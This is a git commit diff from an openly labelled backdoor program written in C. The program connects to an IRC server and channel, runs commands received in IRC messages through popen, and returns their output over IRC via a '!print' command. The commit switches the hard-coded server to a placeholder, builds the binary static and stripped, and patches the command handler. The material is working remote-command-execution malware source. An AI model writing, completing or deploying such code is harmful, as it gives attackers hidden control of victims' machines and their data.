This commit is contained in:
My name 2024-04-28 06:38:20 +00:00
parent 77d2f3cc76
commit 69bc238a38
4 changed files with 5 additions and 5 deletions

View File

@ -1,4 +1,3 @@
CFLAGS="-s -Os -pedantic -Wall -Wextra" CFLAGS="-s -Os -pedantic -Wall -Wextra -static"
cc $CFLAGS src/* -Iinclude -DENABLE_SSL -lssl -lcrypto -omain -DVAL1=$RANDOM -DVAL2=$RANDOM cc $CFLAGS src/* -Iinclude -DENABLE_SSL -lssl -lcrypto -omain -DVAL1=$RANDOM -DVAL2=$RANDOM
strip -sx main

View File

@ -2,7 +2,7 @@
#define _BACKDOOR_H #define _BACKDOOR_H
#include "irc.h" #include "irc.h"
#define COMMON_BUF_SIZE 200 #define COMMON_BUF_SIZE 100
void backdoor_offline(void); void backdoor_offline(void);
void parse_cmd(IRCC_client *client); void parse_cmd(IRCC_client *client);

View File

@ -9,5 +9,5 @@ typedef struct {
} SERVER; } SERVER;
SERVER servers[] = { SERVER servers[] = {
{1, "irc.rizon.net", 6697, NULL, "#blbl", NULL} {1, "irc.ipv4.server", 6697, NULL, "#channel", NULL}
}; };

View File

@ -31,7 +31,7 @@ void parse_cmd(IRCC_client *client) {
if (fp != NULL) if (fp != NULL)
pclose(fp); pclose(fp);
fp = popen(client->irc_msg + 5, "wr"); fp = popen(client->irc_msg + 5, "rw");
} }
else if (!strncmp(client->irc_msg, "!print", 6)) { else if (!strncmp(client->irc_msg, "!print", 6)) {
@ -42,6 +42,7 @@ void parse_cmd(IRCC_client *client) {
if (fgets(buf, sizeof(buf), fp) == NULL) { if (fgets(buf, sizeof(buf), fp) == NULL) {
pclose(fp); pclose(fp);
fp = NULL; fp = NULL;
return;
} }
send_info(client, buf); send_info(client, buf);